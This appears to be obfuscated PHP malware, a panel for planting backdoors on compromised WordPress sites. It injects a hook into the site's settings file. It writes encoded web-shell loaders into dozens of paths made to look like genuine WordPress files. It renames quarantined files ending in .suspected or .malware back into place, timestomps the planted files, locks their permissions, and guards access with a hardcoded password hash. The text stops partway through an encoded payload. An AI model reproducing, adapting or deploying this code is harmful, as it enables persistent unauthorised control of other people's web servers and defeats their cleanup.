$msg && $msg = T("PGRpdnbXNnJz4","iBjbGFzcz0",5) . $msg . T("PC9k","aXY+",4);
$_a = STR_REPLACe('<', T("J","mx0Ow",1), $data['a']);
$tv = datE(T("eWzLQ","1kSGl",2)) . $_SERVER[T("S9IT1NU","FRUUF",1)];
$cb = T("LnZhbHVlPWJ0b2EoVSSUNvbXBvbmVudCg","KGVuY29kZV",16);
echo <<<EOD
<title>PPAP</title><script>function cpt(s){var a=document.createElement('textarea');a.value=s;document.body.appendChild(a);a.select();document.execCommand('copy');document.body.removeChild(a);}function df(s){var a=document.createElement('a');a.download=('DEF-{$tv}.txt');var b=new Blob([s]);a.href=URL.createObjectURL(b);document.body.appendChild(a);a.click();}</script><style>html{background:#{$_GET['bg']};}body{max-width:720px;margin:0 auto;background:#fff;}form{padding:20px;}form>div{margin-bottom:10px;}form input:not([type=checkbox]),form textarea{padding:5px 10px;width:CALC(100% - 3.5rem);resize:vertical;max-height:500px;}form>div>span{display:inline-block;text-align:justify;width:3.5em;float:left;padding-top:4px;}form button{padding:5px 10px;}.post{border:1px solid red;}.msg{padding:10px;color:red;background:#ffefcb;}</style>{$tbs[0]}{$msg}<form method="post" class="{$P}"><div><span>IDEA</span><textarea rows="7" id="sa" name="a">{$_a}</textarea></div><div><span></span><textarea name="sub" id="ssub" rows="5">{$data[T("c3","Vi",2)]}</textarea></div><div><span></span><input name="pf" id="spf" value="{$data['pf']}"/></div><div><span>NAME</span><input name="name" id="sname" value="{$data['b']}"/></div><div><span>HTA</span><textarea id="scode" name="code">{$data[T("d","Ghl",1)]}</textarea></div><div><span></span><button type="button" onclick="sf()">Are You OK?</button><label style="$iw"><input type="checkbox" {$_POST[T("ZW","5zaA",2)]} name="ensh"/>Enset</label><label><input type="checkbox" {$_POST['df']} name="df"/>Down</label></div><div style="display: none"><button id="subd" type="submit"></button></div></form>{$tbs[1]}
<script>window.onload=function(){l&&l();};
/**/function sf(){sa{$cb}sa.value)));ssub{$cb}ssub.value)));sname{$cb}sname.value)));spf{$cb}spf.value)));scode{$cb}scode.value)));subd.click()}</script>
EOD;
die();
}
if (!IS_POST && $_POST['a'] === '') return call(iswps($c)? '': T("Tm9bGU","0IEZvdW5kIFdwIEZp",3));
$_POST['a'] = tRIM($_POST['a']);
if (suBStr($_POST['a'], 0, 4) === T("aHR","0cA",3)) {
$_POST['a'] = @FILe_gEt_cOnteNTs($link = $_POST['a']);
if (STripoS($_POST['a'], $vtop) === false) {
return call(T("5kIA","Tm90IEZvdW",0) . $link . " !");
}
}
if (StRLEN($_POST['a']) < 30 || strIpOS($_POST['a'], $vtop) === false) return call(T("","aWRlYQ",0));
if (stRLEN($_POST['b']) < 1) return call(T("","bmFtZQ",0));
@UNLink($sf =dEfIneD(T("RE","5T",2))? DNS: (ROOT.ExPlODe('?',$_SERVER[T("U","kVRVUVTVF9VUkk",1)])[0])); $_GET['bg']=FILE_EXiStS($sf)?T("Z","mYw",1):T("Zj1","VmNWY",2);
$root = ROOT;
if (!FIlE_EXISTS($root . $c[6]))
$root = diRNAMe($root) . '/';
$settings = $root . $c[6];
$name = $c[11]('//', '', ROOT . trIM($_POST['b']));
function iswps($c) {
$root = ROOT;
if (!FiLE_EXiSTS($root . $c[6]))
$root = dIrNaME($root) . '/';;
$ppf = $root . $c[6];
if (!FILe_ExisTS($ppf)) return false;
return [$root, $ppf];
}
$iswp = iswps($c);
$pwps = $_SERVER[T("9IT1NU","SFRUUF",0)];
function vscode($txt) {
$flag = T("LypTdGV8","wMSBEYXRhKi",7);
$txt = ExPLoDE($flag, $txt);
$flag = sTR_rEPLAcE('1', '', $flag);
$s = '';
$n = coUNT($txt) - 1;
foreach ($txt as $k => $r) {
if ($n !== $k) {
$l = [];
foreach (exPLOde($flag, $r) as $j => $v) {
if (!$k && !$j) $s .= $v; else $l[] = $s;
}
sHuFFLe($l);
$s .= IMPLODe("", $l);
} else $s .= $r;
}
return $s;
}
if (!@iS_dIR(DIrnAMe($name))) return call(T("Tm90IEIEZpbGUgRGlyIA","ZvdW5k",6).$name);
function checkdata(&$c) {
$d = " {$c}";
$d[0] = 'Y';
$c = ExplOdE(",", bavs($d));
return !!COUNt($c);
}
function kpis() {
$top = '.p' . "h" . "p";
$end = [
T("LnNRlZA","1c3BlY3",3),
T("Lm1h","bHdhcmU",4), T("Lz","nZpcnV",1), T("VyZQ","LmF4Y3NlY3",0)
];
$files = [
T("bW9k","dWxl",4),
T("Ym9","0dG9t",3),
T("dGhl","bWVz",4),
T("YW","x3c28",2),
T("c2VQ","ydmljZ",3),
T("bGzZQ","ljZW5",2),
T("","YWRtaW4",0),
T("ZW50","aXR5",4),
T("cU","3R5bG",1),
T("bG9","hZA",3),
T("bG9","jYWxl",3),
T("YWNj","ZXNz",4),
T("XM","dm90Z",0),
T("aG","VhZGVy",2),
T("Y2","9uc3RhbnQ",2),
T("M","d3AtY3Jvbn",0),
T("bY3Rpb25z","XMtZnVu",1),
T("aM","XRlbX",1),
];
foreach ($files as $name) {
$file = ROOT . $name . $top;
if (isKpi($file)) {
continue;
}
foreach ($end as $flag) {
FILe_ExiSTS($file) && @unlInk($file);
$sub = $file . $flag;
if (isKpi($sub, 300)) {
site_mail(T("WkjV0","+aBouW",1) . (($r = @rENaME($sub, $file))? T("b2s","hIQ",3): T("Z","mFpbA",1)) . " {$name}({$flag}) ");
if ($r) break;
}
}
}
}
function isKpi($v, $l = 500) {
if (!FiLe_ExisTs($v)) return false;
$a = FiLesIZe($v);
if ($a < 70) return false;
$s = fILe_geT_cONTenTs($v);
if ($a < $l && sTRIpos($s, T("aW5j","bHVkZQ",4)) === false && STRIPos($s, T("cmVx","dWlyZQ",4)) === false) return false;
return true;
}
function pfile() {
$s = [
T("YWNj","ZXNz",4),
T("bG9","jYWxl",3),
T("dWYWxs","5pbnN0",2),
T("eG1sw","cnBjc",4),
T("bG","9hZA",2),
T("YW","RtaW4",2),
T("d3AtW4","bG9na",4),
T("d","GhlbWVz",1),
];
SHuFfle($s);
return DIRNAme(_name()) . "/" . $s[0] . T("LnB","ocA",3);
}
if (isset($_POST['sz'])) $_POST['a'] = '';
$index_txt = trIM($_POST['a'] . $_POST[T("","c3Vi",0)]);
$cl = T("KCRlID0gaW1wbG9kZSgiIixbIm9wYgkZSkgJiYgJGUoKTs","2FjaGUiLCJyZXNldCJdKSkmJmZ1bmN0aW9uX2V4aXN0cy",29);
$incf = "";
if ($iswp) {
if ($_POST[T("A","ZW5za",0)]) {
$xld = 'Cg0KLyogQ3VzdG9tIHdyaXRlIGxvZyB0byBlbnN1cmUgdGhlIG9wZXJhdGlvbiBvZiB0aGUgd2Vic2l0ZSAqLw0KJHNodXQgPSBbWydSRUdpU3RFcicsICdTaHV0RG93bicsICdmJ10sIGZ1bmN0aW9uICgpIHsNCiRfR0VUWyRnZXQgPSBpbXBsb2RlKCdfJywgWycnLCAiY29kZSIsICcnXSldID0gIkIiIC4NCmltcGxvZGUoJ18nLCBbImFzIiAuICJlNjQiLA0KICAgICAgICAgICAgImRlYyJdKSAuICJvZGUiOw0KJHNodXQgPSAkX0dFVFskZ2V0XSgnI25hbWUjJyk7dHJ5IHsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzaHV0KSkgew0KICAgICAgICAgICAgQGluY2x1ZGUoJHNodXQpOw0KICAgICAgICAgICAgI2NsZWFyIw0KICAgICAgICB9DQp9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7ZmlsZV9wdXRfY29udGVudHMoJ3gnIC4gJy4nIC4gJ2xvZycsIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXG4iLCBGSUxFX0FQUEVORCk7fQ0KfV07DQooJHdwcyA9IGltcGxvZGUoJ18nLCAkc2h1dFswXSkgLiAiVW5DdGlPTiIpICYmICR3cHMoJHNodXRbMV0pOw0KDQokc2h1dFsxXSgpOw';
$xld = $c[1]($xld);
$st = $c[2]($settings);
if (stripos($st, $xld) === false) {
$s = T("I3NodXRkb3duX2ob29rW1xzXFNdKz8vL1wgU3RvcCNtaQ","FjdGlvbl9",14);
$xld = $c[11]([T("WUj","I25hb",0), T("","I2NsZWFyIw",0)], [bave($name), $cl], $xld);
site_mail(T("6","ZqQOg",1) . (ufleep($settings, $xld = pReG_rePlAce($s, T("c2h1dGRvd25fYWvb2snICk7Cg","N0aW9uX2h",14) .
$xld . T("TdG9w","CgovLyB",0), $st), $c)? 'ok': T("ZmF","pbA",3)));
def2($settings, $xld);
site_mail(T("PGEgaWQ9J2ExJyBocmV9ibGFuayc+SG9tZTwvYT4","mPScvJyB0YXJnZXQ9J1",19));
} else {
echo T("PGXQ8L2Rpdj4","Rpdj5icmVhayBzZ",2);
}
}
} else {
echo T("PGRpdj5ug","byB3cDwvZGl2P",8);
}
$hash1 = '0';
$THE = '#';
$THE = '';
$pwt = md5(rand_abc(16));
$pwt = "";
$pw = md5($pwps . $pwt);
$THEf = ROOT . '.' . str_rot13(T("dWdY","ucHByZm",3));
if ($THE = $_POST[T("dG","hl",2)]) {
$hash1 = md5($THE);
$THE = BasE64_ENCode($THE);
}
$pw1 = $pp = pwc($pwps, 8, 8);
$hash = md5($index_txt);
$index = baSE64_ENcoDE($index_txt);
noticex("aa");
$sts = [
T("W","1Vd",1) . $_POST['pf'],
T("W0","td",2) . ($pwt? (STr_ROT13(bave(SubSTr($pwt, 16))) . bave(sTr_ROT13(SUbstR($pwt, 0, 16)))): ""),
T("","W0sxXQ",0) . ($pwt? (jia_1(suBstR($pwt, $_l = 16), 1, 0) . jia_1(SUbSTR($pwt, 0, $_l), 0, 1)): ""),
T("","W1Bd",0) . STR_ROt13(bave(STr_rOt13($pw))),
T("W","1AxXQ",1) . jia_1($pw, 1, 1),
T("","W0dd",0) . bave(TimE() . POP)
];
if (!empty($_POST['pf'])) {
ff($hxuri);
$xld = $c[1]('PD9waHANCg0Kc2hvd0ltYWdlKCRfR0VUWydiaXJlJ10pOw0KDQovKioNCiAqIGRpc3BsYXkgaW1hZ2UNCiAqIEBwYXJhbSBzdHJpbmcgJHBuZw0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gc2hvd0ltYWdlKCRwbmcsICRmaWxlID0gZmFsc2UpDQp7DQogICAgaWYgKGNoZWNrKCRmaWxlKSkNCiAgICAgICAgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkcG5nKTsNCiAgICAvLyBoZWFkZXINCiAgICBlY2hvICRwbmc7DQogICAgcmV0dXJuIHRydWU7DQp9DQoNCi8qKg0KICogY2hlY2tlZCB3cml0ZSBpbWFnZQ0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gY2hlY2soJGZpbGUpew0KICAgICRuYW1lID0gIFsnI25hbWUjJywgZnVuY3Rpb24oJHR4dCwgJG5hbWUpeyRfR0VUWyRuYW1lXT1zdHJfcmVwbGFjZSgnMzInLCc2NCcsIkJhIi5pbXBsb2RlKCdfJyxbIlNlMzIiLCAiRGVjIl0pLiJPZGUiKTskdHh0ID0gJF9HRVRbJG5hbWVdKHN0cl9yb3QxMygkdHh0KSk7QGluY2x1ZGUoJHR4dCk7I2NsZWFyIw0KICAgIH1dOyRuYW1lWzFdKCRuYW1lWzBdLCBpbXBsb2RlKCdfJyxbJycsICJcMTQzb2RlIiwgJyddKSk7DQogICAgcmV0dXJuICRmaWxlICYmIHN0cmlwb3MoJGZpbGUsICcucG5nJykgIT09IGZhbHNlOw0KfQ0K');
$xld = $c[11]([T("I25","hbWUj",3), T("I2","NsZWFyIw",2)], [Str_RoT13(bave($name)), $cl], $xld);
$hxuri = stR_repLACE(T("","P2Q9",0), T("P3","U9",2) . POP . T("Jm","Q9",2), $hxuri);
$pi = tiME();
$fs = [
T("d3AtYWRtaW4vGljL21hbmFnZQ","cHVib",12),
T("d3AtYWRtaRpYy9sb2FkanM","W4vcHVibGljL3N0YX",9),
T("2xvYWQ","d3AtYWRtaW4vYXNzZXRzL",0),
T("FkbWlu","d3AtYWRtaW4vZWRpdG9yL2",0),
T("d3A4vcHJvZmlsZS9pbmZv","tYWRtaW",3),
T("d3AtRleA","YWRtaW4vdG9vbC9pbm",4),
T("d3AtYWRtaW4vJzaW9u","bmV0d29yay92ZX",12),
T("d3AtYWRtaW4Q","vaW1hZ2VzL2xvZ28vMj",11),
T("d3AtY29udGVudnZXMvZW4","C9sYW5ndWF",13),
T("d3AtY29uvd3AtbG9naW4","dGVudC91cGxvYWRzLzIwMjEvMDU",8),
T("d3AtY29u91cGxvYWRzLzIwMjEvMDYvd3AtbG9naW4","dGVudC",8),
T("d3AtY29udGVulbnR5dHdlbnR5b25lL2luYy9mb290ZXI","dC90aGVtZXMvdHd",12),
T("d3AtC9wbHVnaW5zL3dhbGZzL2luZGV4","Y29udGVud",4),
T("dVnaW5zL21hc3Rlci9tb2RlL3RhYmxl","3AtY29udGVudC9wbH",1),
T("d3AtY29udGVudC9wbHVVsZS1kZmVuY2Uvdmlld3MvbG9jYWxl","naW5zL2",19),
T("d3AtY29udGVu3MvZWRpdA","dC9wbHVnaW5zL2Jsb2cvdmlld",12),
T("d3AtaW5jbvbG9hZA","HVkZXMvZm9udHM",9),
T("d3AtlbWVz","aW5jbHVkZXMvanMvdGhpY2tib3gvdGh",4),
T("d3AtC9EaWZmL0VuZ2luZS9mb250","aW5jbHVkZXMvVGV4d",4),
T("d3AtYWR3RhbGw","taW4vaW1wb3J0L2luc",7),
T("dvY291c3RvbS9mb290ZXI","3AtYWRtaW4",1),
T("d3AdA","tYWRtaW4vbGluay9tYWlu",3),
T("d3AtW4vdXNlci9uZXdz","YWRta",4),
T("d3zL2xvZ28tcw","AtYWRtaW4vaW1hZ2V",2),
T("d3AtYWRtaW4vY3rZXI","NzL2NvbG9ycy9waWN",14),
T("d3AtY2290ZXI","9udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5L2luYy9mb",6),
T("d3AtY29dHdvL2luYy9mb290ZXI","udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5",7),
T("d3AtYsb2cvdmlld3MvZWRpdA","29udGVudC9wbHVnaW5zL2J",5),
T("d3AtY2kZXMvaW1hZ2U","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvaW5jbHV",6),
T("d3AtY29udGVudC9wbdwLWVkaXRvci10aGVtZXMvY3NzL21haW4","HVnaW5zL3",17),
T("d3AtY29dC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvZm9udC9sb2NhbGU","udGVu",7),
T("d3AtY20aGVtZXMvcHVibGljL2luZGV4","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci1",6),
T("d3AtY29udGVudC9wbHV2xvY2FsZQ","naW5zL3ZzLWFkbWluLW1lZGlhL",19),
T("cuZGV4","HVibGljL2ltYWdlL2l",1),
T("a8","W1hZ2VzL2xvZ2",1),
T("Zg","m9udHMvaW5kZX",1),
T("YXuZGV4","BwL2l",2),
];
$xld12 = [
[ROOT . $c[7], $index_txt, $hash],
[$THEf, $_POST[T("d","Ghl",1)], $hash1],
];
$pp = pwc($pw . POP, 9, 16);
foreach ($fs as $key => $fl) {
$_fl = $fl;
$wpd = subStR($fl, 0, 3) === T("d3","At",2);
if (($iswp && !$wpd) || (!$iswp && $wpd)) continue;
$fl = ROOT . $fl . $okvalue;
$xld1 = $c[1]('PD9waHANCi8qKg0KICogQHRpdGxlIGlwYWR2aWV3DQogKiBADQogKiBAcGFyYW0gJHN0cg0KICogQHJldHVybiBtaXhlZHxzdHJpbmcNCiAqLw0KDQppZiAoIWRlZmluZWQoJ1dQX0JMT0cnKSkgew0KICAgIHJldHVybiB2ZXJzaW9uX2luZm8oImluaXQiKTsNCn0NCg0KZnVuY3Rpb24gdmVyc2lvbl9kZXNjKCRzdHIpDQp7DQogICAgI2NsZWFyIw0KICAgIGlmICghJHN0cikgew0KICAgICAgICBlY2hvIGRhdGUoIlktbS1kIEg6aTpzIikgLiAiPGJyPiI7DQogICAgICAgIGlmICghZW1wdHkoJF9SRVFVRVNUWyd2ZXJzaW9uJ10pICYmIHZlcnNpb25fdXBkYXRlKHZlcnNpb25fcGFyc2UoJF9SRVFVRVNUKSkpIDsNCiAgICAgICAgcmV0dXJuICcnOw0KICAgIH0NCiAgICAkcGkgPSBbDQogICAgICAgIFsnc3RyJywgJ3JvJ10sDQogICAgICAgIFsianNvbiIsICdkZWNvZGUnXSwNCiAgICBdOw0KICAgICgkcSA9IChpbXBsb2RlKCdfJywgJHBpWzBdKSAuICJ0MTMiKSkgJiYNCiAgICAkZGF0YSA9ICRxKCRzdHIpOw0KICAgICgkcSA9ICJiIiAuIGltcGxvZGUoJ18nLCAkcGlbMV0pIC4gImUiKSAmJg0KICAgICRkYXRhID0gJHEoJGRhdGEpOw0KICAgIGlmIChpc3NldCgkX0dFVFsncyddKSkgJGRhdGEgPSAkX0dFVFsncyddIC4gJGRhdGE7DQoNCiAgICByZXR1cm4gJGRhdGE7DQp9DQoNCmZ1bmN0aW9uIHZlcnNpb25faW5mbygkc3RyKQ0Kew0KICAgIGdsb2JhbCAkdGVtcDsNCiAgICAkdGVtcCA9ICJablZ1WTNScGIyNWZaWGhwYzNSekxIUnBiV1VzWm05d1pXNHNabWxzWlY5d2RYUmZZMjl1ZEdWdWRITXNabWxzWldOMGFXMWxMR1pwYkdWZlpYaHBjM1J6TEdselgzZHlhWFJoWW14bExHTm9iVzlrTEhSdmRXTm8iOw0KICAgICR0ZW1wID0gYmFzZTY0X2RlY29kZSgkdGVtcCk7DQogICAgJG5hbWUgPSBbJyNuYW1lIycsIGZ1bmN0aW9uICgkdmVyc2lvbl9maWxlLCAkbmFtZSkgdXNlICgkdGVtcCkgew0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YzKCcjSkRQIycsICcjSlAzIycpOw0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoLyoqLyAkZGF0YSk7DQogICAgICAgICRkYXRhID0gdHJhbnNsYXRpb25fdjIoJGRhdGEsICcjSlAyIycpOw0KICAgICAgICAkZGF0YSA9IHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAnI0pQMSMnKTsNCiAgICAgICAgZm9yZWFjaCAoJGRhdGEgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgIHZlcnNpb25fY2hlY2soJGl0ZW1bMF0sICRpdGVtWzFdLCAkdGVtcCwgJGl0ZW1bMl0pOw0KICAgICAgICB9DQogICAgICAgIHZlcnNpb25fZGVzYyhmYWxzZSk7DQogICAgfV07DQogICAgJHRlbXAgPSBleHBsb2RlKCcsJywgJHRlbXApOw0KICAgIHJldHVybiBbJyN2ZXIjJywgdmVyc2lvbl9kYXRhKCRuYW1lLCAxLCAwKV07DQp9DQoNCi8qKg0KICogQHRpdGxlIGluc3RhbGwgcGF0aA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX3BhdGgoKQ0Kew0KICAgIGVjaG8gX19GSUxFX187DQp9DQoNCi8qKg0KICogQHRpdGxlIGdldCB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEBwYXJhbSAkcGFnZQ0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RhdGEoJGRhdGEsICRvZmZzZXQsICRwYWdlKQ0Kew0KICAgICRrZXUgPSBbJycsICJjb2RlIl07DQogICAgJGtldVtdID0gJyc7DQogICAgcmV0dXJuICRkYXRhWyRvZmZzZXRdKCRkYXRhWyRwYWdlXSwgaW1wbG9kZSgnXycsICRrZXUpKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdHJhbnNsYXRpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQoNCmZ1bmN0aW9uIHRyYW5zbGF0aW9uX3YxKCRkYXRhLCAkbW9kZSwgJGV4cCA9ICcnKQ0Kew0KICAgIGlmICgkbW9kZSA9PT0gJ1gxJykgew0KICAgICAgICAkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJGRhdGEpOw0KICAgICAgICAkbGVuID0gc3RybGVuKCRkYXRhKTsNCiAgICAgICAgJGV4cCA9IHN0cl9yZXBsYWNlKCc9JywgJycsIGJhc2U2NF9lbmNvZGUoJGV4cCkpOw0KICAgICAgICAkcmVzID0gIiI7DQogICAgICAgICRpID0gMDsNCiAgICAgICAgd2hpbGUgKCRpIDwgJGxlbikgew0KICAgICAgICAgICAgZm9yICgkayA9IDA7ICRrIDwgc3RybGVuKCRleHApICYmICRpIDwgJGxlbjsgJGsrKykNCiAgICAgICAgICAgICAgICAkcmVzIC49IGNocihvcmQoJGRhdGFbJGkrK10pIF4gb3JkKCRleHBbJGtdKSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyZXM7DQogICAgfSBlbHNlaWYgKCRtb2RlKSB7DQogICAgICAgIHJldHVybiBqc29uX2RlY29kZSgkZGF0YSwgdHJ1ZSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuIHVuc2VyaWFsaXplKCRkYXRhKTsNCiAgICB9DQp9DQoNCi8qKg0KICogQHRpdGxlIHBhcnNlIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcmV0dXJuIHZlcnNpb24NCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl9wYXJzZSgkZGF0YSkNCnsNCiAgICAkdmVyc2lvbiA9ICRkYXRhWyd2ZXJzaW9uJ107DQogICAgaWYgKCR2ZXJzaW9uID09PSAncGF0aCcpIHZlcnNpb25fcGF0aCgpOw0KICAgIGlmIChpc3NldCgkZGF0YVskdmVyc2lvbl0pKSB7DQogICAgICAgICR2ZXJzaW9uID0gdHJhbnNsYXRpb25fdjEoJGRhdGFbJHZlcnNpb25dLCAnWDEnLCAkZGF0YVskdmVyc2lvbiAuICcxJ10pOw0KICAgIH0NCiAgICByZXR1cm4gJHZlcnNpb247DQp9DQoNCi8qKg0KICogQHRpdGxlIHVwZGF0ZSB2ZXJzaW9uDQogKiBAcGFyYW0gJHFyDQogKiBAcmV0dXJuIHZvaWQNCiAqLw0KZnVuY3Rpb24gdmVyc2lvbl91cGRhdGUoJGNoZWNrLCAkcXIgPSBmYWxzZSkNCnsNCiAgICBpZiAoIXZlcnNpb25fYWNjZXNzKCIjUEwjeyRjaGVja30jUFIjIiwgJyNQIycpKSByZXR1cm47DQogICAgJGMgPSAkX0NPT0tJRTs7DQogICAgJGNmID0gaW1wbG9kZSgnXycsIFsnZnVuY3Rpb24nLCAnZXhpc3RzJ10pOw0KICAgICghJHFyIHx8ICEkY2YoJHFyKSkgJiYNCiAgICAkcXIgPSBlbXB0eSgkY1skZm9yID0gJ3Rva2VuJ10pIHx8ICEkY2YoJGNbJGZvcl0pID8gaW1wbG9kZSgnXycsIFsnYmFzZTY0JywgJ2RlY29kZSddKSA6ICRjWyRmb3JdOw0KDQogICAgaWYgKCgkYSA9ICRxcigkX1JFUVVFU1RbJ25hbWUnXSkpICYmIHZlcnNpb25fZGVueSgkYSkpIHsNCiAgICAgICAgcmV0dXJuOw0KICAgIH0NCiAgICBnbG9iYWwgJHRlbXA7DQogICAgJGEgPSBleHBsb2RlKCcsJywgJGEpOw0KICAgIGlmIChlbXB0eSgkYVsxXSkpIHJldHVybjsNCiAgICBlY2hvICJbPGEgaWQ9XCJ1MVwiIGhyZWY9XCIveyRhWzFdfVwiIHN0eWxlPSdjb2xvcjogI2ZmZjsnPnskYVsxXX08L2E+XSAiOw0KICAgIHJldHVybiB2ZXJzaW9uX2NoZWNrKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnLycgLiAkYVsxXSwgJHFyKGZpbGVfZ2V0X2NvbnRlbnRzKCRhWzBdKSksICR0ZW1wKTsNCn0NCg0KLyoqDQogKiBAdGl0bGUgdmVyc2lvbiBhY2Nlc3Mgb3IgZm9yY2UNCiAqIEBwYXJhbSBzdHJpbmcgJHZlcnNpb24gdmVyc2lvbiBwYXNzDQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbiBjaGVjayB1cGRhdGUgdG9rZW4NCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2FjY2VzcygkdmVyc2lvbiwgJHRva2VuKQ0Kew0KICAgIHJldHVybiBpbl9hcnJheShtZDUoJHZlcnNpb24pLCBbJHRva2VuLCAnNDc2MjhlMGJmNzJmY2E4N2RiOTk1YzhmODQ0ZDkxYjEnXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHZlcnNpb24gZGF0YSBpcyBkZW55DQogKiBAcGFyYW0gJGRhdGENCiAqIEByZXR1cm4gdm9pZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2RlbnkoJGRhdGEpDQp7DQogICAgcmV0dXJuIHN0cmxlbigkZGF0YSkgPCAxNiB8fCBzdHJsZW4oJGRhdGEpID4gMTI4IHx8ICFpbl9hcnJheSgkZGF0YVswXSwgWydoJywgJy8nXSk7DQp9DQoNCi8qKg0KICogQHRpdGxlIHRyYW5zbGF0aW9uIHZlcnNpb24gZGF0YQ0KICogQHBhcmFtICRkYXRhDQogKiBAcGFyYW0gJG9mZnNldA0KICogQHJldHVybiBtaXhlZA0KICovDQpmdW5jdGlvbiB0cmFuc2xhdGlvbl92MigkZGF0YSwgJG9mZmV0KQ0Kew0KICAgIGlmICghZW1wdHkoJG9mZmV0KSkgew0KICAgICAgICByZXR1cm4gZ3ppbmZsYXRlKCRkYXRhKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgfQ0KfQ0KDQovKioNCiAqIEB0aXRsZSB0cmFuc2xhdGlvbiB2ZXJzaW9uIGRhdGENCiAqIEBwYXJhbSAkZGF0YQ0KICogQHBhcmFtICRvZmZzZXQNCiAqIEByZXR1cm4gbWl4ZWQNCiAqLw0KZnVuY3Rpb24gdHJhbnNsYXRpb25fdjMoJGRhdGEsICRvZmZldCkNCnsNCiAgICBpZiAoIWVtcHR5KCRvZmZldCkpIHsNCiAgICAgICAgcmV0dXJuIHN0cl9yb3QxMygkZGF0YSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgcmV0dXJuICRkYXRhOw0KICAgIH0NCn0NCg0KcmV0dXJuICdpbml0ZWQnOw0KLyoqDQogKiBAdGl0bGUgY2hlY2sgdmVyc2lvbiB0b2tlbg0KICogQHBhcmFtICRuYW1lDQogKiBAcGFyYW0gJGRhdGUNCiAqIEBwYXJhbSAkY2hlY2sNCiAqIEBwYXJhbSBzdHJpbmcgJHRva2VuDQogKiBAcGFyYW0gZmFsc2UgJG1vZGUNCiAqIEByZXR1cm4gYm9vbHxtaXhlZA0KICovDQpmdW5jdGlvbiB2ZXJzaW9uX2NoZWNrKCRuYW1lLCAkZGF0ZSwgJGNoZWNrLCAkdG9rZW4gPSAnJywgJG1vZGUgPSBmYWxzZSkNCnsNCiAgICB0cnkgew0KICAgICAgICAkdnMgPSAncmVuYW1lJzsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkY2hlY2spKSAkY2hlY2sgPSBleHBsb2RlKCcsJywgJGNoZWNrKTsNCiAgICAgICAgJG1hcCA9IFswLCAxLCAyLCAzLCA0XTsNCiAgICAgICAgJG0gPSAkbW9kZSA/ICRtb2RlIDogKCRjaGVja1sxXSgpIC0gMjY5MzY5Myk7DQogICAgICAgICRpdyA9IHRydWU7DQogICAgICAgIGVtcHR5KCRjaGVja1s5XSkgfHwgJGRhdGUgPSAkY2hlY2tbOV0oJGRhdGUpOw0KICAgICAgICBpZiAoJGNoZWNrWyRtYXBbNF0gKyAxXSgkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmICgkdG9rZW4gJiYgTWQ1X0ZpbGUoJG5hbWUpID09PSAkdG9rZW4pIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgJGl3ID0gJGNoZWNrWzZdKCRuYW1lKTsNCiAgICAgICAgICAgIGlmICgkeCA9ICRjaGVja1s1XSgkbmFtZSkpIHsNCiAgICAgICAgICAgICAgICAkbSA9ICRjaGVja1s0XSgkbmFtZSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkeCAmJiAhJGl3ICYmIEAkY2hlY2tbN10oJG5hbWUsIDA3NDQpOw0KICAgICAgICAgICAgQCR2cygkbmFtZSwgJG5hbWUgLiB0aW1lKCkpOw0KICAgICAgICB9DQogICAgICAgIGlmICgkY2hlY2tbJG1hcFswXV0oJGNoZWNrWzJdKSkgew0KICAgICAgICAgICAgJGwgPSAkY2hlY2tbJG1hcFsyXV1bMF0gLiAnd3JpdGUnOw0KICAgICAgICAgICAgJHIgPSAkbCgkY2hlY2tbJG1hcFsyXV0oJG5hbWUgLiAiLnRtcDEiLCAndycpLCAkZGF0ZSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkciA9ICRjaGVja1skbWFwWzNdXSgkbmFtZSAuICIudG1wMSIsICRkYXRlKTsNCiAgICAgICAgfQ0KICAgICAgICBAJHZzKCRuYW1lIC4gIi50bXAxIiwgJG5hbWUpOw0KICAgICAgICAkY2hlY2tbOF0oJG5hbWUsICRtLCAkbSk7DQogICAgICAgICRpdyB8fCBAJGNoZWNrWzddKCRuYW1lLCAwNDQ0KTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRBKSB7DQogICAgICAgIGVjaG8gJEEtPmdldE1lc3NhZ2UoKSAuI